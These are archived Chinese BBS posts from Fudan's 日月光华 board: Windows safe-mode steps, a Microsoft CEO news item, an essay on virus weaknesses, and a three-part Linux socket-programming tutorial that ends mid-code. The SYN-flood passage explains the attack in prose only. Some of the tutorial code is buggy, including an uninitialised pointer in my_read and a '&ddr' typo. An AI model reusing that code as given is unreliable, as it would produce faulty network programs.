1、在Windows环境下，点击“开始”菜单，然后点击“运行”； 2、输入msconfig，然后点击“确定”按钮； 3、点击“Boot.ini”标签； 4、选择"/SAFENOOT"； 5、然后点击“确定”按钮保存退出，重新启动计算机； 6、重启之后出现的WindowsXP高级选项菜单和Windows2000的类似，选择“安全模式” 即可； 7、如果要取消“高级选项菜单”，重复上述1-5步骤，不同的是第4步取消选择 "/SAFENOOT"。 *未经本人许可，禁止转载于任何商业媒体上 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.83.0.100] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
和讯财经1月14日消息 微软公司于13日举行新闻发布会，比尔·盖茨在会上宣布正式辞去微软首席执行官(CEO)的职务，但是仍然担任微软董事会主席。 　　同时盖茨宣布由微软长期的第二号人物巴尔默接任CEO。盖茨在新闻发布会上表示：“我准备去做我最喜欢做的事情--把100%的时间花在（研究）未来的技术上。” 　　接任者巴尔默在发布会上宣称，一切妄图分拆微软的行动都是鲁莽和不负责任的。
日月光华 -- Programming精华区文章阅读 -------------------------------------------------------------------------------- 发信人: freshbird (真菜鸟~快乐的愚人), 信区: Programming 标 题: 学习Linux网络编程(3) 发信站: 日月光华站 (Mon Apr 2 16:54:29 2001) , 站内信件 学习Linux网络编程(3) 6. 高级套接字函数 在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(r ead,write)是网络程序里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一 起来学习网络通信的高级函数.这一章我们学习另外几个读写函数. 6.1 recv和send recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制 读写操作. int recv(int sockfd,void *buf,int len,int flags) int send(int sockfd,void *buf,int len,int flags) 前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合 _______________________________________________________________ | MSG_DONTROUTE | 不查找路由表 | | MSG_OOB | 接受或者发送带外数据 | | MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 | | MSG_WAITALL | 等待所有数据 | |--------------------------------------------------------------| MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面 ,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面. MSG_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的. MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲 区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用 这个标志. MSG_WAITALL是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的 时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误. 1)当读到了指定的字节 时,函数正常返回.返回值等于len 2)当读到了文件的结尾时,函数正常返回.返回值小于 len 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno) 如果flags为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很 少,可以查看 Linux Programmers Manual得到详细解释. 6.2 recvfrom和sendto 这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了. 6.3 recvmsg和sendmsg recvmsg和sendmsg可以实现前面所有的读写函数的功能. int recvmsg(int sockfd,struct msghdr *msg,int flags) int sendmsg(int sockfd,struct msghdr *msg,int flags) struct msghdr { void *msg_name; int msg_namelen; struct iovec *msg_iov; int msg_iovlen; void *msg_control; int msg_controllen; int msg_flags; } struct iovec { void *iov_base; /* 缓冲区开始的地址 */ size_t iov_len; /* 缓冲区的长度 */ } msg_name和 msg_namelen当套接字是非面向连接时(UDP),它们存储接收和发送方的地址 信息.msg_name实际上是一个指向struct sockaddr的指针,msg_name是结构的长度.当套 接字是面向连接时,这两个值应设为NULL. msg_iov和msg_iovlen指出接受和发送的缓冲 区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小. msg_control和 msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送 的操作选项.和recv,send的选项一样 6.4 套接字的关闭 关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样. 6.5 shutdown int shutdown(int sockfd,int howto) TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希 望只关闭一个方向,这个时候我们可以使用shutdown.针对不同的howto,系统回采取不同 的关闭方式. howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写. howto=1关闭写通道,和上面相反,着时候就只可以读了. howto=2关闭读写通道,和close一样 在多进程程序里面,如果有几个子进程共享一个套接 字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够 使用close来关闭子进程的套接字描述符. 7. TCP/IP协议 你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一 起来学习这个目前网络上用最广泛的协议. 7.1 网络传输分层 如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上 ,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用层,表示层,会话层 ,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的 话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供 数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是 分层的,而且各层的作用不同. 7.2 IP协议 IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是IP4的数据包格 式 0 4 8 16 32 -------------------------------------------------- |版本 |首部长度|服务类型| 数据包总长 | -------------------------------------------------- | 标识 |DF |MF| 碎片偏移 | -------------------------------------------------- | 生存时间 | 协议 | 首部较验和 | ------------------------------------------------ | 源IP地址 | ------------------------------------------------ | 目的IP地址 | ------------------------------------------------- | 选项 | ================================================= | 数据 | ------------------------------------------------- 下面我们看一看IP的结构定义 struct ip { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ip_hl:4; /* header length */ unsigned int ip_v:4; /* version */ #endif #if __BYTE_ORDER == __BIG_ENDIAN unsigned int ip_v:4; /* version */ unsigned int ip_hl:4; /* header length */ #endif u_int8_t ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_int8_t ip_ttl; /* time to live */ u_int8_t ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src, ip_dst; /* source and dest address */ }; ip_vIP协议的版本号,这里是4,现在IPV6已经出来了 ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包 没有选项,那么这个值为5. ip_tos服务类型,说明提供的优先权. ip_len说明IP数据的长度.以字节为单位. ip_id标识这个IP数据包. ip_off碎片偏移,这和上面ID一起用来重组碎片的. ip_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃. ip_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议. ip_sum首部校验和,提供对首部数据的校验. ip_src,ip_dst发送者和接收者的IP地址 关于IP协议的详细情况,请参考 RFC791 7.3 ICMP协议 ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就 会用ICMP协议来报告错误. ICMP包的结构如下: 0 8 16 32 --------------------------------------------------------------------- | 类型 | 代码 | 校验和 | -------------------------------------------------------------------- | 数据 | 数据 | -------------------------------------------------------------------- ICMP在中的定义是 struct icmphdr { u_int8_t type; /* message type */ u_int8_t code; /* type sub-code */ u_int16_t checksum; union { struct { u_int16_t id; u_int16_t sequence; } echo; /* echo datagram */ u_int32_t gateway; /* gateway address */ struct { u_int16_t __unused; u_int16_t mtu; } frag; /* path mtu discovery */ } un; }; 关于ICMP协议的详细情况可以查看 RFC792 7.4 UDP协议 UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数 据报服务.UDP的头格式为: 0 16 32 --------------------------------------------------- | UDP源端口 | UDP目的端口 | --------------------------------------------------- | UDP数据报长度 | UDP数据报校验 | --------------------------------------------------- UDP结构在中的定义为: struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; 关于UDP协议的详细情况,请参考 RFC768 7.5 TCP TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结 构比前面的结构都要复杂. 0 4 8 10 16 24 32 ------------------------------------------------------------------- | 源端口 | 目的端口 | ------------------------------------------------------------------- | 序列号 | ------------------------------------------------------------------ | 确认号 | ------------------------------------------------------------------ | | |U|A|P|S|F| | |首部长度| 保留 |R|C|S|Y|I| 窗口 | | | |G|K|H|N|N| | ----------------------------------------------------------------- | 校验和 | 紧急指针 | ----------------------------------------------------------------- | 选项 | 填充字节 | ----------------------------------------------------------------- TCP的结构在中定义为: struct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; #if __BYTE_ORDER == __LITTLE_ENDIAN u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; #elif __BYTE_ORDER == __BIG_ENDIAN u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; #endif u_int16_t window; u_int16_t check; u_int16_t urg_prt; }; source发送TCP数据的源端口 dest接受TCP数据的目的端口 seq标识该TCP所包含的数据字节的开始序列号 ack_seq确认序列号,表示接受方下一次接受的数据序列号. doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5 urg如果设置紧急数据指针,则该位为1 ack如果确认号正确,那么为1 psh如果设置为1,那么接收方收到数据后,立即交给上一层程序 rst为1的时候,表示请求重新连接 syn为1的时候,表示请求建立连接 fin为1的时候,表示亲戚关闭连接 window窗口,告诉接收者可以接收的大小 check对TCP数据进行较核 urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值 关于TCP协议的详细情况,请查看 RFC793 7.6 TCP连接的建立 TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这 个连接过程称为"三次握手". 下面我们从一个实例来分析建立连接的过程. 第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的 SYN位设置为1,并且设置序列号seq=1000(我们假设为1000). 第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也 向客户端发送一个TCP数据包.因为是响应客户机的请求,于是服务器设置ACK为1,sak_se q=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000). 第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认 信息.于是客户机也向服务器发送确认信息.客户机设置ACK=1,和ack_seq=2001,seq=100 1,发送给服务器.至此客户端完成连接. 最后一步服务器受到确认信息,也完成连接. 通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议 可以保证自己去处理错误的. 说一说其中的一种错误. 听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击 者用的就是DOS(拒绝式服务)方式.概括的说一下原理. 客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应 该进行第三个步骤. 不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自 己的IP地址,就是说将一个实际上不存在的IP填充在自己IP数据包的发送者的IP一栏.这 样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样 服务务端会在那边一直等待,直到超时. 这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再 接收客户机的请求. 这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节 时所出现的情况. -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.119.32.102] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: chester (东东), 信区: Virus 标 题: 电脑病毒有哪些本质弱点？ 发信站: 日月光华站 (Wed Apr 19 08:53:58 2000) , 站内信件 电脑病毒是一些能够自我复制的程序段，它能附在应用程序或系统文件的可执行部分。在宿主程序执行的某些阶段，它能够获得执行控制权。按病毒传染机理可分为两 大类：一类是系统引导型，它感染系统引导时的程序（系统引导扇区、操作系统的某些模 块、设备驱动程序等）；另一类是文件型，它感染可执行的程序文件（即应用程序， 含COM文件、EXE文件或覆盖文件等）。 透过各种病毒的分析，可以发现病毒有三个本质弱点： （1）病毒的宿主目标必须是电脑系统的可执行程序， 也就是说它们只能感染系统引导程序或应用程序。 （2 ）病毒的感染总是以某种方式改变被感染的程序段，如果附在现存程序上，它会改变程序的开头、结尾或 程序中间的某些部分，如果它隐藏在磁盘的某些区，它会更改这些区的内容。 （3）如果病毒要存活、传播， 那么它的程序代码必 须能够被执行，即病毒必须把自身或一部分定位于宿主程序的特殊位置，以便获得控制权。 实际上，现有PC病毒都是通过改变宿主程序的第一条 执行的指令，达到先于宿主程序执行的目的。对于COM 文件，病毒替换它的第一条指令（因为COM 文件入口地址固 定为CS:100H）；对于EXE文件，病毒改变入口指针（在文件头）；对于中断服务程序，也类似地改变它的中断向量。 因此，病毒破坏了被感染程序的数据真实性，准确地说是破坏了被感染程序第一条被执行指令的真实性。所以，对应用程序的校验只要针对第一条执行的指令和附近的数据， 既可保证准确性，又减少检测时间。 -- 说起来爱情的悲欢离合,有个你,我永远不提. 相偎又相依要留在心里,陪我一路到天涯. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.13.26] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Programming精华区文章阅读 -------------------------------------------------------------------------------- 发信人: freshbird (真菜鸟~快乐的愚人), 信区: Programming 标 题: 学习Linux网络编程(2) 发信站: 日月光华站 (Mon Apr 2 16:53:51 2001) , 站内信件 学习Linux网络编程(2) 3. 服务器和客户机的信息函数 这一章我们来学习转换和网络方面的信息函数. 3.1 字节转换函数 在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯 片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反. 为了统一起来,在Li nux下面,有专门的字节转换函数. unsigned long int htonl(unsigned long int hostlong) unsigned short int htons(unisgned short int hostshort) unsigned long int ntohl(unsigned long int netlong) unsigned short int ntohs(unsigned short int netshort) 在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long 第一个函 数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多 . 3.2 IP和域名的转换 在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢? struct hostent *gethostbyname(const char *hostname) struct hostent *gethostbyaddr(const char *addr,int len,int type) 在中有struct hostent的定义 struct hostent{ char *h_name; /* 主机的正式名称 */ char *h_aliases; /* 主机的别名 */ int h_addrtype; /* 主机的地址类型 AF_INET*/ int h_length; /* 主机的地址长度 对于IP4 是4字节32位*/ char **h_addr_list; /* 主机的IP地址列表 */ } #define h_addr h_addr_list[0] /* 主机的第一个IP地址*/ gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里 面储存了域名的信息 gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针. 这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()可以得到详细的 出错信息 3.3 字符串的IP和32位的IP转换. 在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中 用的是32位的IP, 我们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换我们可以 使用下面两个函数 int inet_aton(const char *cp,struct in_addr *inp) char *inet_ntoa(struct in_addr in) 函数里面 a 代表 ascii n 代表network.第一个函数表示将a.b.c.d的IP转换为32位的I P,存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式. 3.4 服务信息函数 在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几 个函数 int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen) int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen) struct servent *getservbyname(const char *servname,const char *protoname) struct servent *getservbyport(int port,const char *protoname) struct servent { char *s_name; /* 正式服务名 */ char **s_aliases; /* 别名列表 */ int s_port; /* 端口号 */ char *s_proto; /* 使用的协议 */ } 一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在connect调用成 功后使用可得到 系统分配的端口号.对于服务端,我们用INADDR_ANY填充后,为了得到连 接的IP我们可以在accept调用成功后 使用而得到IP地址. 在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.为了得到指定的端口号 的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数. 3.5 一个例子 #include #include #include #include #include int main(int argc ,char **argv) { struct sockaddr_in addr; struct hostent *host; char **alias; if(argc<2) { fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]); exit(1); } argv++; for(;*argv!=NULL;argv++) { /* 这里我们假设是IP*/ if(inet_aton(*argv,&addr.sin_addr)!=0) { host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET); printf("Address information of Ip %s\n",*argv); } else { /* 失败,难道是域名?*/ host=gethostbyname(*argv); printf("Address information of host %s\n",*argv); } if(host==NULL) { /* 都不是 ,算了不找了*/ fprintf(stderr,"No address information of %s\n",*argv); continue; } printf("Official host name %s\n",host->h_name); printf("Name aliases:"); for(alias=host->h_aliases;*alias!=NULL;alias++) printf("%s ,",*alias); printf("\nIp address:"); for(alias=host->h_addr_list;*alias!=NULL;alias++) printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias))); } } 在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假 设输入的是IP所以调用inet_aton, 失败的时候,再调用gethostbyname而得到信息. 4. 完整的读写函数 一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东 西了. 就象我们往文件读写一样. 4.1 写函数write ssize_t write(int fd,const void *buf,size_t nbytes) write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时 返回-1. 并设置errno变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能 . 1)write的返回值大于0,表示写了部分或者是全部的数据. 2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理. 如果错误为EINTR表示在写的时候出现了中断错误. 如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接). 为了处理以上的情况,我们自己编写一个写函数来处理这几种情况. int my_write(int fd,void *buffer,int length) { int bytes_left; int written_bytes; char *ptr; ptr=buffer; bytes_left=length; while(bytes_left>0) { /* 开始写*/ written_bytes=write(fd,ptr,bytes_left); if(written_bytes<=0) /* 出错了*/ { if(errno==EINTR) /* 中断错误 我们继续写*/ written_bytes=0; else /* 其他错误 没有办法,只好撤退了*/ return(-1); } bytes_left-=written_bytes; ptr+=written_bytes; /* 从剩下的地方继续写 */ } return(0); } 4.2 读函数read ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读 成功时,read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于 0表示出现了错误.如果错误为EINTR说明读是由中断引起的, 如果是ECONNREST表示网络 连接出了问题. 和上面一样,我们也写一个自己的读函数. int my_read(int fd,void *buffer,int length) { int bytes_left; int bytes_read; char *ptr; bytes_left=length; while(bytes_left>0) { bytes_read=read(fd,ptr,bytes_read); if(bytes_read<0) { if(errno==EINTR) bytes_read=0; else return(-1); } else if(bytes_read==0) break; bytes_left-=bytes_read; ptr+=bytes_read; } return(length-bytes_left); } 4.3 数据的传递 有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一 个结构.可以使用如下方式 /* 客户端向服务端写 */ struct my_struct my_struct_client; write(fd,(void *)&my_struct_client,sizeof(struct my_struct); /* 服务端的读*/ char buffer[sizeof(struct my_struct)]; struct *my_struct_server; read(fd,(void *)buffer,sizeof(struct my_struct)); my_struct_server=(struct my_struct *)buffer; 在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一 样的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必 须传递指针所指向的内容) 5. 用户数据报发送 我们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出 大部分的基于TCP协议的网络程序了.现在在Linux下的大部分程序都是用我们上面所学的 知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一下基于UDP 协议的网络程序. 5.1 两个常用的函数 int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen) int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sock addr *to int tolen) sockfd,buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区 及大小.recvfrom负责从sockfd接收数据,如果from不是NULL,那么在from里面存储了信息 来源的情况,如果对信息的来源不感兴趣,可以将from和fromlen设置为NULL.sendto负责 向to发送信息.此时在to里面存储了收信息方的详细资料. 5.2 一个实例 /* 服务端程序 server.c */ #include #include #include #include #include #define SERVER_PORT 8888 #define MAX_MSG_SIZE 1024 void udps_respon(int sockfd) { struct sockaddr_in addr; int addrlen,n; char msg[MAX_MSG_SIZE]; while(1) { /* 从网络上度,写到网络上面去 */ n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0, (struct sockaddr*)&addr,&addrlen); msg[n]=0; /* 显示服务端已经收到了信息 */ fprintf(stdout,"I have received %s",msg); sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen); } } int main(void) { int sockfd; struct sockaddr_in addr; sockfd=socket(AF_INET,SOCK_DGRAM,0); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n",strerror(errno)); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_addr.s_addr=htonl(INADDR_ANY); addr.sin_port=htons(SERVER_PORT); if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0) { fprintf(stderr,"Bind Error:%s\n",strerror(errno)); exit(1); } udps_respon(sockfd); close(sockfd); } /* 客户端程序 */ #include #include #include #include #include #include #define MAX_BUF_SIZE 1024 void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len) { char buffer[MAX_BUF_SIZE]; int n; while(1) { /* 从键盘读入,写到服务端 */ fgets(buffer,MAX_BUF_SIZE,stdin); sendto(sockfd,buffer,strlen(buffer),0,addr,len); bzero(buffer,MAX_BUF_SIZE); /* 从网络上读,写到屏幕上 */ n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL); buffer[n]=0; fputs(buffer,stdout); } } int main(int argc,char **argv) { int sockfd,port; struct sockaddr_in addr; if(argc!=3) { fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]); exit(1); } if((port=atoi(argv[2]))<0) { fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]); exit(1); } sockfd=socket(AF_INET,SOCK_DGRAM,0); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n",strerror(errno)); exit(1); } /* 填充服务端的资料 */ bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(inet_aton(argv[1],&addr.sin_addr)<0) { fprintf(stderr,"Ip error:%s\n",strerror(errno)); exit(1); } udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in)); close(sockfd); } ########### 编译文件 Makefile ########## all:server client server:server.c gcc -o server server.c client:client.c gcc -o client client.c clean: rm -f server rm -f client rm -f core 上面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务 端,然后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已经收到信息,但 是客户端没有反映.再运行一个客户端,向服务端发出信息 却可以得到反应.我想可能是 第一个客户端已经阻塞了.如果谁知道怎么解决的话,请告诉我,谢谢. 由于UDP协议是不 保证可靠接收数据的要求,所以我们在发送信息的时候,系统并不能够保证我们发出的信 息都正确无误的到达目的地.一般的来说我们在编写网络程序的时候都是选用TCP协议的 . -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.119.32.102] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Programming精华区文章阅读 -------------------------------------------------------------------------------- 发信人: freshbird (真菜鸟~快乐的愚人), 信区: Programming 标 题: 学习Linux网络编程(1) 发信站: 日月光华站 (Mon Apr 2 16:53:34 2001) , 站内信件 学习Linux网络编程(1) Linux系统的一个主要特点是他的网络功能非常强大。随着网络的日益普及，基于网络的 应用也将越来越多。 在这个网络时代，掌握了Linux的网络编程技术，将令每一个人处 于不败之地，学习Linux的网络编程，可以让我们真正的体会到网络的魅力。 想成为一 位真正的hacker，必须掌握网络编程技术。 现在书店里面已经有了许多关于Linux网络编程方面的书籍，网络上也有了许多关于网络 编程方面的教材，大家都可以 去看一看的。在这里我会和大家一起来领会Linux网络编 程的奥妙，由于我学习Linux的网络编程也开始不久，所以我下面所说的肯定会有错误的 ， 还请大家指点出来，在这里我先谢谢大家了。 在这一个章节里面，我会和以前的几个章节不同，在前面我都是概括的说了一下， 从现 在开始我会尽可能的详细的说明每一个函数及其用法。好了让我们去领会Linux的伟大的 魅力吧！ 1. Linux网络知识介绍 1.1 客户端程序和服务端程序 网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服 务器端. 网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.一般的来说是服务 端的程序 在一个端口上监听,直到有一个客户端的程序发来了请求. 1.2 常用的命令 由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些 常用的网络命令 netstat 命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的 选项 我们常用的选项是 -an 用来显示详细的网络状态.至于其它的选项我们可以使用帮 助手册获得详细的情况. telnet telnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程 序的. 比如我们的服务器程序在监听8888端口,我们可以用telnet localhost 8888来查 看服务端的状况. 1.3 TCP/UDP介绍 TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议,当我们的网络程 序使用 这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的. UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不 能保证我们 的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的 . 2. 初等网络函数介绍（TCP） Linux系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几 个函数的调用,会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的 描述符来操作,这就是linux的设备无关性的 好处.我们可以通过向描述符读写操作实现 网络之间的数据交流. 2.1 socket int socket(int domain, int type,int protocol) domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等). AF_UNIX 只能够用于单一的Unix系统进程间通信,而AF_INET是针对Internet的,因而可以允许在远 程 主机之间通信(当我们 man socket时发现 domain可选项是 PF_*而不是AF_*,因为gl ibc是posix的实现 所以用PF代替了AF,不过我们都可以使用的). type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明我 们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表 明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信. protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了 socket 为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看errno可知道出错的 详细情况. 2.2 bind int bind(int sockfd, struct sockaddr *my_addr, int addrlen) sockfd:是由socket调用返回的文件描述符. addrlen:是sockaddr结构的长度. my_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义 struct sockaddr{ unisgned short as_family; char sa_data[14]; }; 不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockad dr_in) 来代替.在中有sockaddr_in的定义 struct sockaddr_in{ unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; 我们主要使用Internet所以sin_family一般为AF_INET,sin_addr设置为INADDR_ANY表示 可以 和任何的主机通信,sin_port是我们要监听的端口号.sin_zero[8]是用来填充的. bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败的情况和s ocket一样 2.3 listen int listen(int sockfd,int backlog) sockfd:是bind后的文件描述符. backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示 可以介绍的排队长度. listen函数将bind的文件描述符变为监听套接字.返回的情况和b ind一样. 2.4 accept int accept(int sockfd, struct sockaddr *addr,int *addrlen) sockfd:是listen后的文件描述符. addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,li sten和accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. accept成功时返回最后的服务器端的文件描述符,这个时候服务 器端可以向该描述符写信息了. 失败时返回-1 2.5 connect int connect(int sockfd, struct sockaddr * serv_addr,int addrlen) sockfd:socket返回的文件描述符. serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址 addrlen:serv_addr的长度 connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件 描述符 失败时返回-1. 2.6 实例 服务器端程序 /******* 服务器程序 (server.c) ************/ #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sockfd,new_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size,portnumber; char hello[]="Hello! Are You Fine?\n"; if(argc!=2) { fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); exit(1); } if((portnumber=atoi(argv[1]))<0) { fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); exit(1); } /* 服务器端开始建立socket描述符 */ if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { fprintf(stderr,"Socket error:%s\n\a",strerror(errno)); 